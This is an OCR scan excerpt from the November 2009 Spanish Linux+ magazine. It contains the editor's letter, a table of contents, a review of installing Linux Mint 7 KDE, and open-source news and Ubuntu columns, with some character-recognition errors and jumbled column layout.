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amodo de introduccién
¢ Linux o Windows?

cLinux o Windows?

B Habéis pensado alguna vez por qué tanta gente sigue utili-
zando Windows? Hoy he leido una broma: Quién pregunta
no yerra, Windows pregunta y yerra. Se referia a la multitud
de las preguntas que nos hace este sistema operativo y la

multitud de errores que se pueden encontrar en el trabajo diario. Me
acuerdo que cuando trabajaba con Windows tardaba mucho tiempo
después de arrancar el ordenador cerrando muchas ventanas que apa-
recian y sefialando “no enviar” cuando ocurrian errores. Ahora ya
no me pasa esto y mi trabajo con el ordenador es mas tranquilo. Por
eso no volveria a Windows por nada de este mundo (aunque a veces
tengo que trabajar con el ordenador que tiene este sistema instalado).
Creo que si alguien se atreve a probar Linux y se acostumbra a él,
ya no tendré razén para volver a Windows. En cambio las razones
para pasarse a Linux si los hay y muchos. No es necesario enume-
rarlas aqui porque todos los conocéis muy bien. Por eso siempre
me pregunto ¢por qué sigue siendo Windows tan popular? ¢Porque
la gente no conoce la alternativa?, ;tienen miedo a Linux?, ;0 hay
alguna otra raz6n? ;Creéis que es posible encontrar la respuesta

¢ Por qué sigue siendo Windows tan
popular? ¢ Porque la gente no conoce
la alternativa?, ¢tienen miedo a Linux?,
¢,0 hay alguna otra razon?

a esta pregunta? Espero vuestros comentarios en nuestro foro porque
me gustaria conocer vuestra opinion, a lo mejor sabéis mas que yo
(que es muy posible).

Cambiando un poco el tema, jbienvenidos al nuevo nimero de
Linux+! Este nimero lo dedicamos a los programadores con una se-
rie de articulos practicos esperando ayudaros a profundizar vuestros
conocimientos y sacar mayor provecho de vuestro sistema operativo.
Pero es solamente una parte de la revista, el resto trata sobre temas
muy diferentes, como una curiosidad os animamos a leer el articulo
sobre la distribucién FBCD, es una distribucion para investigadores
forenses que cuesta bastante dinero. ¢Es justo pagar por una distribu-
cion Linux? Esta pregunta os la dejo a vosotros porque supongo que
puede haber varios puntos de vista aqui.

Otro articulo que me gustaria recomendaros es el que trata el tema
del sistema NetBSD vy reutilizacion de los equipos viejos, espero que
esta variacion en el sistema operativo o0s guste.

No voy a comentar mas articulos, tenéis la revista en las manos
entonces os dejo el placer de hojearla y encontrar en ella la inspiracion
para vuestro trabajo con Linux. jBuena lectura y hasta la préxima!

Paulina Pyrowicz
Redactora Jefe de Linux+

www.|pmagazine.org 3
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Linux Mint 7 Gloria KDE La popularidad adquirida por PHP como lenguaje para programacion
Osvaldo Rodolfo Salazar Sanchez de aplicaciones web en el lado del servidor, es cuanto menos innega-

ble. A pesar de la cantidad y calidad de alternativas presentes a dia de
hoy, no se prevé que ninguna tecnologia vaya a superar claramente al

novedades resto. La evolucion de todas estas tecnologias, ha propiciado que el
o uso del paradigma de la orientacion a objetos, sea ya mas que corrien-
10 Noticias te en este tipo de tecnologias del lado del servidor. VVeamos cuales
Alex Sandoval son los fundamentos bésicos de la programacion orientada a objetos

sobre PHP.

12 Ubuntu

Francisco Javier Carazo Gil

13 Mandriva

Juan Gamez

14 Fedora

Diego Rivero Montes

programacion

16 Programando Bibliotecas en C/C++

Andrés Tarallo
En cualquier proyecto con cierta envergadura (programas no tri-
viales) en C o C++ es ventajoso el uso de librerias. Esta practica
permite separar problemas y ocultar la complejidad de la implanta- 34
cion. Otra ventajaes la posibilidad de reutilizar codigo previamente
desarrollado, acortando los tiempos de desarrollo y mejorando la
calidad global del producto final del ciclo de desarrollo.

practica

NetBSD y reutilizacion de equipos

informaticos

José B. Alos Alquézar

Paradojicamente, aunque la vida util efectiva de la mayor parte de
computadores personales y estaciones de trabajo suele estar com-
prendida entre los tres y cinco afios, por la utilizacion de nuevo soft-
ware cuyos requisitos se incrementan en cada version, es sustancial-
mente inferior a su vida til real.

42 42Usode GNU/Screen
Jorge Emanuel Capurro

Aunque su existencia es casi nula para gran parte de la comunidad,
GNUJ/Screen es una excelente herramienta que va a facilitar la tarea
diaria de lidiar con la consola a més de un usuario. Esta herramienta
simple pero eficaz realiza muy bien su principal labor: Multiplexar
Terminales. Aprendamos un poco mas de ella, qué otras funciones
nos brinda, como utilizarla, y asi, poder incorporarla a nuestro marco
de trabajo diario, para que todo sea mas sencillo y solvente.

20 Plugins Csound en Linux

Daniel Mellado Area, Lino Garcia Morales
Mucha gente se pregunta, ya no tanto si es posible la produccion
de audio en un sistema basado en software libre, sino su capacidad
de trabajo, tanto a nivel de grabacién, mezcla y postproduccion.
Todo ello son procesos compuestos por modulos independientes
(de tratamiento de sefial, por ejemplo, tipicamente implemen-
tados en plugins) que requieren de un eficaz enrutamiento del
audio de manera facil y sencilla. Csound es un lenguaje de sinte-
sis musical desarrollado por Barry Vercoe en el MIT orientado a
crear, editar, analizar y componer mdsica y sonido.
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Sistemas de gestion de incidencias:

Eventum

José B. Alés Alquézar
La gestion de incidencias derivadas de la actividad normal de una
empresa de servicios es una de las actividades mas importantes
y criticas de cara a evaluar no solamente su nivel de servicio,
sino el grado de satisfaccion de usuarios o clientes del mismo.
En este sentido, la informatizacién de los Centros de Atencién
al Cliente suele ser uno de los temas mas importantes a los que
hacer frente, especialmente de cara a la obtencion de indicadores
de rendimiento, que en la terminologia especializada, se deno-
minan KPI o Key Performance Indexes.
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seguridad

6(Q Foremost & Scalpel: Herramientas

de recuperacion de archivos

Alonso Eduardo Caballero Quezada
Foremost & Scalpel son dos programas open source basados en
GNUY/Linux para recuperacion de archivos eliminados. Scalpel
esta basado originalmente en Foremost, sin embargo es signifi-
cativamente mas eficiente que este. Ambos programas utilizan
un archivo de configuracion para especificar las cabeceras
y pies de los tipos de archivos a recuperar, permitiendo buscar en
la mayoria de datos sin preocuparse en el formato. En el presente
articulo se expondra el “tallado de archivos” o File Carving,
la descripcion de las principales herramientas disponibles que
existen y algunas aplicaciones préacticas.

FBCD: Unadistribucion de pago para
investigadores forenses

Francisco Lazaro

Un Linux de pago se nos hace tan raro como un Windows gratis
en Internet. Ademas de estar convencidos de la superioridad
moral de un orden basado en el software libre, nos gusta ver el
mundo Linux como una caja de herramientas a disposicion del
publico, donde unos ponen los Gtiles y otros se sirven de ellos sin
acapararlos —licencia GPL-.

70

hacking para linuxeros

74 Shellcodes en linux
David Puente Castro

La palabra shellcode produce la misma sensacién que si escucharas
hablar de atomos, siempre surgen las mismas preguntas: jqué son?,
(como funcionan? Incluso es posible que hayas utilizado muchos para
obtener un beneficio sin conocer de qué forma lo logran, y entonces
una Gltima pregunta viene a tu mente: ;podria construir yo uno? Sigue
leyendo y lo comprobaras...

opinién

82 “Caperucita IP" 0 cémo vivir

en las redes sociales
Cada vez se esta hablando mas de los “peligros” de las redes sociales
para los menores, que han encontrado en sitios como Facebook o Tuenti
una estupenda manera de hacer amigos o de estar en contacto con los
que tienen, mientras estan en casa supuestamente “estudiando”.

www.lpmagazine.org
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Linux Mint 7 Gloria KDE

inux Mint 7 "Gloria" KDE Com-
munity Edition estd basado en
Kubuntu 9.04 Jaunty Jackalope,
Linux 2.6.28, KDE 4.2.4 y Xorg
7.4, e incluye muchas mejoras y lo dltimo del
software del mundo del cédigo abierto.

Introduccion

Linux Mint inicia su desarrollo en 2006 toman-
do como base los proyectos Ubuntu y De-
bian. El proyecto Linux Mint se enfoca en
hacer el escritorio mas facil de usar y méas
eficiente para ejecutar las tareas diarias de
los usuarios.

Linux Mint es un sistema operativo di-
seflado para trabajar con equipos modernos,
incluyendo computadoras x86 y x64. Como
todo sistema que usa el kernel Linux, Linux
Mint 7 "Gloria" KDE Community Edition
es mas seguro, mas estable, mas eficiente
y més fécil de usar que Windows, represen-
tando asi una gran alternativa para las per-
sonas y las compafifas.

Linux Mint 7 puede ser instalado en un
ambiente dual-boot o multi-boot en sistemas
como Windows, Mac OS, Free BSD y con
otros sistemas operativos.

Para nombrar y enumerar las versiones
de Linux Mint se siguen las siguientes reg-
las:

» El nombre clave provee una manera de
referirse a la version de Linux Mint que
sea méas familiar que usar un nimero
de version.

»  Desde la version 5, Linux Mint ha segui-
do un ciclo de liberacién cada 6 meses
y usa un esquema de version simplifi-

Figura 2. Pantalla de inicio, mostrandonos el icono para instalar Linux Mint 7 en nuestro disco duro

cado. EI nimero de la version se incre-
menta cada 6 meses.

« Si la revision tiene una liberacion par-
ticular, esta version tendra un nimero
decimal a manera de incremento. Por
ejemplo “7” se incrementaria a “7.1”.

e Los nombres clave en Linux Mint son
nombres femeninos que terminan en
“a”. La primer letra del nombre clave
corresponde a el equivalente del nimero
de la version con su equivalente en el
alfabeto.

Hasta el momento Linux Mint tiene los
siguientes nombres clave:

\ersion Nombre clave
1.0 Ada
2.0 Barbara

Welcome to Linux Mint ¥V Gloria KDE Community Edition

Start Linux Mint KDE

Start Linux Mint KDE in compatibility mode

. the installer only

the integrity of the DUD

Memory Test
Boot from local drive

o

Press [Tabl® totedit toptions

Figura 1. Seleccion de modo de arranque

Linux+ 11/2009

2.1 Bea

2.2 Bianca
3.0 Cassandra
31 Celena
4.0 Daryna

5 Elyssa

6 Felicia

7 Gloria

Si bien los primeros desarrollos de Linux
Mint se realizaron con el escritorio GNOME,
ya contamos con versiones para KDE, XFCE,
LXDE y Fluxbox. Para el presente articulo
manejaremos el correspondiente a KDE.

Descarga
Siempre pensando en nuestros lectores, les
incluimos el DVD en esta revista.

También podemos obtener Linux Mint de
2 formas: descargandolo o compréandolo. Si
optamos por descargarlo, podemos realizarlo
en  http:/Awwlinuxmint.com/edition.php?id=42
y si deseamos comprarlo seleccionamos la
opcion de “Buy Cds” en la misma pagina de
descargas. Lo que obtendremos seré un Live-
DVD.

Iniciando Linux Mint

Insertando el DVD en nuestra computadora
no olvidemos cambiar la opcion del BIOS
para que inicie desde DVD. Una vez realiza-
do el arranque nos indicara que faltan unos
cuantos segundos para iniciar de manera auto-
maética, pero presionando cualquier tecla po-
demos ver un ment de inicio (Figura 1) en el
cual podemos seleccionar, entre otras cosas,
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Figura 3. Linux Mint 7 trabajando con KDE 4

el inicio de Linux Mint sin alterar nuestro
equipo o podemos iniciar el instalador.

Seleccionando la opcion “Start Linux
Mint KDE” iniciara el sistema sin alterar el
contenido de nuestra computadora, indican-
donos los elementos que va cargando. Cuan-
do termine de iniciar veremos una pantalla
similar a la Figura 2.

En este punto veremos una de las carac-
teristicas que se mencionaron al inicio de este

articulo: Linux Mint 7 trabaja con KDE 4.2.4.
(Figura 3).

Esta version de KDE incluye nuevas
tecnologias y cambios técnicos con respecto
a versiones anteriores de KDE, siendo un
nuevo disefio del escritorio y del panel. Esta
nueva version esta disefiada para ser mas
configurable para los que trabajabamos con
el anterior escritorio. Incluye también una
serie de nuevos frameworks, como lo son: Pho-

PUBLICIDAD

descripcion de DVD
DVD

non, una nueva interfaz multimedia de KDE
independiente de cualquier backend especifi-
co cualquiera que sea el Sistema Operativo;
Solid, una API para redes y dispositivos por-
tatiles; y Decibel, un nuevo framework de co-
municacion para integrar a todos los protoco-
los de comunicacion en el escritorio.

KDE 4 tiene varias novedades, entre
ellas estan una mayor rapidez y un uso mas
eficiente de la memoria, gracias a la mejora
en velocidad y eficiencia de Qt 4.x y la mejo-
ra interna de las propias bibliotecas de KDE.
También tiene un escritorio y paneles com-
pletamente nuevos, colectivamente llamados
Plasma que integraran los actuales Kicker,
KDesktop, y SuperKaramba; asi como una
interfaz simplificada para el navegador Kon-
queror, que ya no sera el administrador de
archivos por defecto en favor de Dolphin.

Instalacion

En este momento podemos empezar a probar
Linux Mint sin necesidad de instalarlo, pero
si deseamos tenerlo de manera permanente
en nuestra computadora, sélo tenemos que
dar doble clic en el icono de install y empe-
zaremos a configurar (Figura 4): el idioma,
la ubicacién (Pais y zona horaria), el tecla-
do, las particiones y nuestros datos (nombre

——
salta a
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Instalacion en disco duro solicitando configurar idioma

real, nombre de usuario, contrasefia y nom-
bre del equipo).

La contrasefia que escribamos para nues-
tra sesion sera la misma para root.

La instalacion la realicé sin problemas en
una computadora con procesador Pentium 1V,
512 MB en RAMy 10 Gb en disco duro. Aun-
que las caracteristicas minimas son 4 Gb en
disco duro. Si en un momento tenemos prob-
lemas en visualizar el escritorio, es probable
que tengamos detalles con la tarjeta grafica
o con la cantidad de memoria.

Ya sea que lo instalemos o lo usemos co-
mo un Live-DVD, podemos trabajar con Linux
Mint y ver varias herramientas que contiene,
por ejemplo, mintNanny.

MintNanny nos permite bloquear accesos
a sitios que, debido a politicas de la empresa
0 para apoyar a nuestros nifios con una navega-
cién més segura libre de contenidos no apro-
piados. Todo se realiza de manera sencilla tanto
en la parte de bloguear como de desbloqueo.
Presionando la opcion de “agregar” podemos

agregar un sitio a la vez y para permitir de
nuevo acceso al sitio en cuestion, sélo selec-
cionamos el sitio de la lista y presionamos clic
en “quitar”.

Guarddog es otro programa previamente
instalado. Guarddog es un programa que nos
permite una configuracion fécil y rapida de
nuestro firewall, no siendo necesario (pero
si ideal) el que el usuario sepa qué paquetes
entrany salen, por qué puerto y por qué proto-
colo. Podemos configurarlo en base a proto-
colos o IPs. Podemos generar diferentes zo-
nas y cada una que tenga una configuracion
diferente.

Como todo firewall, Guarddog trabaja
con la filosofia “Lo que no esta explicitamente
permitido, esta prohibido” y nos permite llevar
un log de eventos de paquetes blogueados,
rechazados o conexiones TCP e IP. Trabaja de
manera combinada con ipchains e iptables.

Con la combinacién adecuada de mint-
Nanny y Guarddog podemos tener un am-
biente de navegacion mas seguro.

Preferencias - mintupdate
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Descripcion de niveles a considerar durante la actualizacion de Linux Mint 7

Linux+ 11/2009

Actualizacion

Presionando Alt+F2 podemos escribir mintU-
pdate o bien buscando mintUpdate en el mend,
podemos realizar actualizaciones de nuestro
nuevo sistema operativo. Como se explico al
principio de este articulo Linux Mint esta ba-
sado en Kubuntu, y es aqui donde nos muestra
una pequefia variante en lo que se refiere a la
actualizacion: Linux Mint nos muestra un nd-
mero de nivel para el paquete a actualizar.

Estos niveles nos mostraran un nimero 1
si son paquetes certificados, esto es, probados
y soportados directamente por Linux Mint
y Romeo (ya podemos ver el por qué de los
nombres femeninos). El nivel 2 nos mostrara
los paquetes recomendados, estos son todos
aquellos paquetes probados y aprobados por
Linux Mint. El nivel 3 nos muestra paquetes
seguros, refiriéndose a aquellos que no estan
probados pero que son de confianza y se-
guros. El nivel 4 nos marcard los paquetes
inseguros, refiriéndose a aquellos que pod-
rian afectar la estabilidad de nuestro sistema.
El nivel 5 nos marcard los paquetes peligro-
sos, refiriéndose a aquellos que se sabe que
afectan la estabilidad de ciertos sistemas de-
pendiendo de sus caracteristicas o hardware
(Figura 5).

Ejecutando mintinstall (previa pulsacién
de Alt+F2) podemos instalar los programas
que necesitemos, dependiendo de nuestras
necesidades personales o empresariales.

Para terminar

Linux Mint nos demuestra que ha madurado
desde sus primeras versiones y esta aqui para
quedarse. Es una muy buena opcién para traba-
jar y si en algin momento tenemos dudas po-
demos consultarlas en el foro donde podemos
ver una comunidad bastante cooperativa.

Links:

http://www.linuxmint.com
http://www.linuxmint.com/edition.php?id=42

D

Sobre el autor
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ware libre en Torreén, Coahuila, México.
Maestro titular de la materia “Innovacion
Tecnoldgica” en la Universidad Auténo-
ma de Coahuila. Miembro del Grupo de
Usuarios de Linux de la Laguna (www.
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Si no puedes leer el disco DVD

y no notas ningun tipo de deterioro
mecanico, por favor, pruébalo en al menos
dos unidades de disco diferentes.

LiNUX+

En caso de problemas, escribir a: dvd@Ipmagazine.org
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Linutop 3: un microPC basado en Linux

El integrador francés Linutop afiade un
nuevo equipo de escritorio a su gama de
microPCs basados en sistemas operativos
Linux. La version 3 mejora las prestaciones
de modelos anteriores con la incorporacion
de un microprocesador mas potente, mayor
cantidad de memoria y aumento de la
capacidad de almacenamiento.

Mantiene su linea minimalista con peso,
consumo y dimensiones reducidas,

y aplicaciones de codigo abierto para
acceso a Internet, productividad ofimatica
basica y reproduccién multimedia.

Linutop 3 incorpora microprocesador

VIA C7 (x86) con frecuencia de 1 GHz,
hasta dos Gbytes de memoria DDR2

y una unidad de estado sélido de 2

Gbytes de capacidad con 1,4 Gbyte de
almacenamiento disponible para el usuario.
http://www.linutop.com/linutop2/
linutop3.en.html

Nokia presenta el N900 con Maemo 5

En su reciente conferencia Nokia World 09
el fabricante finlandés de teléfonos celula-
res y otros dispositivos presento su nueva
"computadora movil"* N900 con funciones
de teléfono celular GSM cuatribanda con
GPRS, navegacion GPS y camara digital
de 5 megapixels. EI N90O tiene un proce-
sador ARM de 600 MHz, una pantalla de
3.5" con 800x480 de resolucion, hasta 1 Gb
de RAM y hasta 48 Gb de almacenamiento,
todo por €500 sin descontar subsidios.

EIl N90O incluye también la mas reciente
version 5 del sistema operativo Maemo

de Nokia, basado en el Kernel de Linux

y el trabajo de los proyectos de Debian

y GNOME. Parte de su stack esta formado
por el sistema X Window, el administrador
de ventanas Matchbox, el toolkit GTK+

y Busybox.
http://www.vivalinux.com.ar/hard/
nokia-n900-con-maemo5

Novell: atin no se hadicho la tltima palabra
Novell esté estudiando cuidadosamente

la decision de la Corte de Apelaciones del
10° Circuito. Sefialan que estan complaci-
dos con que la decision de la corte confirme
el pago monetario de aproximadamente
US$ 3 millones de SCO hacia Novell.

En otros temas como la propiedad de los
derechos de autor de UNIX, sobre los cua-
les SCO reclama contra Novell, IBM, y los
usuarios de Linux, la Corte remitié el caso
a un juicio. Precisamente lo que va a pasar
en el juicio aln esté por verse, especial-
mente en vista del proceso de bancarrota
pendiente de SCO y la reciente decision del
tribunal de citar al Capitulo 11 para hacerse
cargo de los negocios de la empresa.
Novell tiene la intencién de defender
enérgicamente el caso y los intereses de
sus clientes de Linux y la comunidad de
codigo abierto. Estan confiados en el
resultado final de la disputa.
http://www.novell.com/prblogs/?p=1134

Frankencamera: camara de codigo
libre para la fotografia digital

a utilizacion de aplicaciones en cddigo

libre es algo que entusiasma a muchos
geeks, dado que nos otorgan la posibilidad
de compartir y progresar colaborativamente,
y un profesor y un alumno graduado de la
universidad de Stanford estan desarrollando
la Frankencamera, una camara digital de Co-
digo Libre que permitira agregarle nuevas
caracteristicas con aplicaciones descarga-
bles que controlen todas sus funciones, de
una manera similar a como pueden hacerlo
las aplicaciones para cierto teléfono. Si es-
te proyecto prospera, sus creadores esperan
que la performance de la cdmara no esté
limitada por el software que trae pre-ins-
talado, como ocurre con todas las cdmaras
digitales actuales.

Lac&mara hasido fabricada desde cero,
hasta ahora el sistema se basa en el chip
de un Nokia N95 y lentes Canon; pero lo
mejor es que la Frankencamera, permitiria
que personas comunes y corrientes pudie-
sen crear aplicaciones para la misma, mo-
dificaciones y programar funciones espe-
ciales. Claro estd, que esta camara no re-
emplazardaunanueva EOS 7D, pero como
idea es genial. En cuanto al software corre
unadistribucién ligera de Linux. Cuandoel
codigo del sistema operativo de la Frank-
encamera se libere, quizas dentro de un

afio, los desarrolladores podran agregarle
sus propios algoritmos para procesar las
iméagenes en nuevas e innovadoras mane-
ras no imaginadas hoy en dia. Por ejemplo,
los desarrolladores ya consiguieron en el
laboratorio cosas que ninguna cdmara co-
mercial puede hacer, como mejorar lareso-
lucién de videos con fotografias de alta re-
solucién. Otra idea es hacer que la camara
pueda conectarse a servicios de almacena-
miento de imagenes en la web.

Esta iniciativa serd muy bien recibida,
ya que permite hacer de forma legal y con
mayor facilidad lo que hasta ahora se ha lo-
grado gracias a firmwares alternativos, pero
la verdadera revolucién se produciria si ca-
maras profesionales y semi-profesionales
se vinculan con el codigo libre.

Con ayuda de algln fabricante que las
produzca en cantidad, la Frankencame-
ra podria costar, idealmente, menos de
US$ 1000 y estar disponible el afio que
viene. Esto no seria del todo imposible, pues
el proyecto ya cuenta con el apoyo de
Nokia, Adobe Systems, Kodak y Hewlett-
Packard.

http://microteknologias.wordpress.com/
2009/09/07/frankencamera-camara-de-co-
digo-libre-para-la-fotografia-digital/

Frankencamera, una camara digital de Cédigo Libre que permitira agregarle nuevas caracteristicas

con aplicaciones descargables que controlen todas sus funciones.
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FSF: Los 7 pecados de Windows

y Microsoft

La FSF ha comenzado una nueva cam-
pafia dirigida a alertar de los peligros
al utilizar Windows 7, el nuevo sistema
operativo de Microsoft, o cualquiera de sus
versiones anteriores, y ademas recomendar
la preferencia de la utilizacién de sistemas
operativos libres. La campafia esta alojada
en el sitio web windows7sins.org, en el cual
se indican los *“7 pecados capitales” del soft-
ware privativo.

Los pecados que sefiala la camparfia son:

Envenenamiento de la educacion: Hoy
en dia, la mayoria de los nifios cuya edu-
cacion involucre el uso de acomputadores
se les ensefia a usar productos de una em-
presa: Microsoft. Microsoft se gasta gran-
des sumas en grupos de presion (lobbyists)
y marketing para corromper a los departa-
mentos de educacion. Una educacion que
utilice el poder de los computadores debe
ser un medio para la libertad y la autono-
mia, no una via para que una corporacion
inculque su monopolio.

Invasion a la privacidad: Microsoft uti-
liza software con nombres como Windows
Genuine Advantage (Ventajas de Windows
Original, en espafiol) para inspeccionar el
contenido de los discos duros de los usua-
rios. Con el acuerdo de licencia los usuar-
ios estan obligados a aceptar antes de
utilizar Windows, sin embargo Microsoft
reclama el derecho a hacer esto sin previo
aviso.

Comportamiento monopdlico: Casi to-
dosloscomputadorescompradostienenpre-
instalado Windows -pero no por eleccion.
Microsoft determina los requisitos para los
proveedores de hardware, quienes no ofre-
cerdn PCs sin Windows pre-instalados en
ellos, a pesar de que muchas personas pre-
guntan por PCs sin Windows.

Bloqueo: Microsoft periddicamente in-
tenta forzar actualizaciones en sus usua-
rios, mediante la eliminacién de soporte
alas versiones anteriores de Windows y Of-
fice, e inflando los requisitos de hardware.
Para muchas personas, esto significa tener
que tirar los computadores de trabajo sim-
plemente porque no cumplen los requisitos
necesarios para las nuevas versiones de
Windows. Abusar de las normas: Microsoft
ha intentado bloquear la normalizacion de

formatos de documentos libres, porque las
normas como OpenDocument Format pon-
drian en peligro el control que tienen aho-
ra sobre los usuarios a través de los forma-
tos propietarios de Word. Se han dedicado
a la conducta solapada, incluido el so-
borno de funcionarios, en un intento por
detener esos esfuerzos.

Forzamiento de Gestién Digital de Res-
tricciones (DRM): Con Windows Media
Player, Microsoft trabaja en colusién con
las grandes empresas de medios de comuni-
cacion para construir restricciones a la co-
pia y reproduccién de archivos multime-
dia en su sistema operativo. Por ejemplo,
a peticion de la NBC, Microsoft fue ca-
paz de evitar que los usuarios de Windows
pudieran grabar programas de television
a pesar que ellos tienen el derecho legal de
grabar.

Amenaza a la seguridad de los usua-
rios: Windows tiene un largo historial de
vulnerabilidades de seguridad, permitien-
do la propagacion de virus y permitiendo a
usuarios remotos hacerse cargo de los com-
putadores de las personas para su uso en el
envio de spam, botnets. Dado que el soft-
ware es secreto, todos los usuarios depen-
den de Microsoft para solucionar estos pro-
blemas, pero Microsoft tiene sus propios
intereses de seguridad en el fondo, no los
de sus usuarios.

Los sistemas operativos de software
libre como GNU/Linux pueden hacer las
mismas tareas que Windows, pero alientan
a los usuarios a compartir, modificar y es-
tudiar el programa tanto como lo deseen.
Esto hace que utilizar un sistema opera-
tivo libre sea la mejor manera para que
los usuarios puedan escapar de Microsoft
y evitar convertirse en victimas de estos
siete pecados. El software y los computa-
dores siempre tienen problemas, pero me-
diante el uso de software libre, los usuarios
y sus comunidades estan facultados parare-
solver los problemas por si mismos y unos
a otros.

http://windows7sins.org/

www.lpmagazine.org
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seccion llevada por Alex Sandoval news@Ipmagazine.org Noticias

La Wikipedia diferenciara con colores la
informacion fiable de la mas polémica
WikiTrust es una nueva herramienta

que implementara la Wikipedia para
identificar la informacion mas fiable de sus
contenidos y destacar las mas controvertida.
Se trata de una aplicacion desarrollada

por investigadores de la Universidad de
California que subraya partes del texto en
funcion de ciertos algoritmos cuyo criterio se
basa en la buena recepcion que haya tenido
un determinado articulo entre la comunidad
de usuarios. De este modo, las partes mas
discutidas y polémicas se subrayaran con
un tono de naranja que sera mas oscuro en
el caso de que haya més dudas sobre su
veracidad. El texto que no sea subrayado
significa que el articulo ha sido leido por
muchos internautas sin modificar ninguna
parte, mientras que el uso del naranja
supondra dudas o controversia acerca de la
veracidad de la informacion recogida.
http://www.itespresso.es/es/news/2009/09/
07/wikipedia-diferenciara-con-colores-
informacion-fiable-polemica

Firefox estrena servicio de alertas

La seguridad y estabilidad de Firefox son
prioridad en Mozilla, que anuncia una nueva
funcionalidad disefiada para informar a los
usuarios de su navegador Firefox de si su ver-
sion del plugin de Adobe Flash Player no esta
actualizado. Desde Mozilla afirman que ver-
siones anticuadas de plugins pueden causar
problemas de estabilidad y crear riesgos de
seguridad importantes. La compaiiia afirma
haberse centrado en primer lugar en Adobe
Flash Player porque segun sus estudios cerca
del 80% de los usuarios tienen una version
antigua de este programa. De esta forma, una
vez que se instale la actualizacion de Firefox,
el navegador controlara qué version se tiene
de Flash Player y pediré a los usuarios que se
lo actualicen si fuera necesario.
http://www.itespresso.es/es/news/2009/09/
07/firefox-estrena-servicio-de-alertas

Planean usar redes Wi-Fi en aviones para
controlar sus sistemas de vuelo

Los modernos aviones de hoy en dia tienen
un problema fundamental y es la gran can-
tidad de cableado que necesitan para operar
los sistemas de vuelo lo que a su vez genera
diversos inconvenientes (mas peso, comple-
jidad de mantenimiento, etc.). ¢Solucion?
Sustituir esos cables por redes Wi-Fi.

En la actualidad los aparatos de sustenta-
cion y de direccion de un avion se contro-
lan mediante un sistema conocido como
“fly-by-wire” que traducido viene a decir
“vuelo por cable”. Ahora se estudia sustituir
esta técnica por otra mucho méas moderna
conocida como “fly-by-wireless” donde las
“ordenes” a los sistemas de control del avién
se envian mediante redes inaldmbricas.
http://alt1040.com/2009/09/planean-usar-
redes-wi-fi-en-aviones-para-controlar-sus-
sistemas-de-vuelo
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Ubuntu seccion llevada por Francisco Javier Carazo Gil ubuntu@Ipmagazine.org

Karmic Koala VS Snow Leopard

Cada vez que aparece una nueva version
de Ubuntu, es decir cada seis meses,
algunos sitios y revistas especializadas
lanzan reportajes hablando de “Ubuntu
... VS ...”. La verdad es que en muchas
ocasiones, coincide el rival porque como
todos sabréis, el software cerrado es mas
lento sacando nuevas versiones que el
software libre, mas adn en el caso de
distribuciones como Ubuntu que nos ha
acostumbrado a poder mejorar cada seis
meses.

En este caso, la distribucion en la

que mas se centraran estas comparativas
es Mac OS X Snow Leopard. Y es que,
el mejor sistema operativo de cédigo
cerrado para muchos, Mac OS, se
renueva con llegada de la version 10.6
Snow Leopard. Aprovecho para recorda-
ros que Mac OS esta basado en un kernel
tipo Unix y que, desde mi punto de vista,
con el tiempo ira adquiriendo mas y mas
cuota de mercado.

Aungue no sean competidores del

todo directos, si es verdad que sera

una fuente de nuevas ideas para mejorar
a Ubuntu y todos los demas distribucio-
nes.

Netbook Remix estrena nueva interfaz
Parece que ya no es una mera anécdota

y son cada vez mas los usuarios de
Netbook Remix. En pleno auge de los
ultraportatiles es una buena noticia

que Canonical apueste fuerte por ella,
incluyendo novedades tan importantes
como la renovacion de la interfaz

grafica. Como podéis ver en la imagen,
ademas de haber renovado todo para
darle un aire mas fresco estéticamente
hablando, se ha eliminado una de las dos
columnas laterales para dejar mas espacio
en el medio.

¢ Cuéles seran los pr6ximos movimientos
de la que esta llamada a ser también la
reina de las distribuciones para netbooks?

Kindle 2, el lector de ebooks,

corre Ubuntu 9.04

Como podréis suponer no corre el entorno
grafico pero si que arranca a la perfeccion
en modo texto. La noticia aparecio en

la pasada OSCON 2009 en la que Jesse
Vincent hizo una demostracion publica de
las posibilidades de la liberacion de este
dispositivo, tan innovador y con tanto
camino por recorrer en el mercado.

Debian y Ubuntu, una relacion

de padre a hijo

H a pasado ya tanto tiempo, que muchos
usuarios de Ubuntu, sobre todo los méas
noveles, no saben que es una distribucion ba-
sada en Debian. De los que saben que si esta
basada en Debian, muchos no saben de ella
apenas nada y sobre todo casi nadie la ha
probado. ¢ EsDebianmejorque Ubuntu?; C6-
moesposible que ladistribucion derivada ha-
ya cogido mas fama con el paso del tiempo
que la distribucién originaria? Las respues-
tas a estas preguntas son complejas, y sobre
todo en el primer caso, subjetivas.

Muchos como yo, usamos Ubuntu por
comodidad. Es decir, Canonical nos provee
de los mecanismos suficientes para automa-
tizar muchos problemas propios de la con-
figuracion de la distribucion, que en el caso
de Debian son eso, problemas. Problemas
que la primera vez que los afrontas y los so-
luciones son un tanto gratificantes, pero pro-
blemas que cuando tienes que usar un equi-
po para el trabajo o simplemente no quieres
“guebrarte la cabeza”, son cuanto menos,
una pérdida de tiempo.

El apoyo de Canonical se nota también
en la amplia gama de distribuciones que es
capaz de llevar adelante y actualizar cada seis
meses. En el caso de Debian, las actualiza-

ciones y las mejoras tardan més en llegar
porque no hay una estructura tan jerarqui-
zada como en el caso de Canonical, que es
en realidad una empresa con un propietario,
Mark Shuttleworth. Otro problema es el so-
porte hardware, que no llega a ser tan extenso
y puede provocar que tengamos problemas
en la deteccion y configuracion de ciertos
dispositivos. Estos son principalmente los
problemas de Debian, problemas que para
otros usuarios son ventajas. Debian es una
distribucion en la que se aprende mas que
en Ubuntu, y sobre todo, la estabilidad que
puede llegar a tener un sistema basado en
Debian bien configurado no la tendra un
sistema con Ubuntu.

Sin embargo, parece que Mark Shuttle-
worth quiere ayudar a Debian en unos mo-
mentos en los que esta algo baja de “fuer-
zas”. Ha ofrecido capital humano, desarro-
lladores de Ubuntu que comiencen a ayu-
dar a Debian, que en el fondo, es también
ayudar a Ubuntu y a todas las distribucio-
nes derivadas de Debian. No hay que olvi-
dar, que Shuttleworth en su dia fue desa-
rrollador y colaborador activo de Debian
y por eso mismo al crear Ubuntu, la eligié
aella.

Ubuntu Software Store

i hay algo que el recién llegado a una

distribuciéon como Ubuntu con un siste-
ma de paqueteria decente aprecia, es el poder
instalar software de terceros sencillamente.
Con un dialogo como el de “Afiadir y quitar
programas...” o mediante Synaptic, tenemos
a nuestro alcance, cientos (incluso miles) de
programas a un sélo clic de distancia y sobre
todo, sin necesidad de claves o cracks. Sin
embargo hay un detalle que falla, la estética
y la apariencia no tan llamativa.

Experimentos como la store de Apple
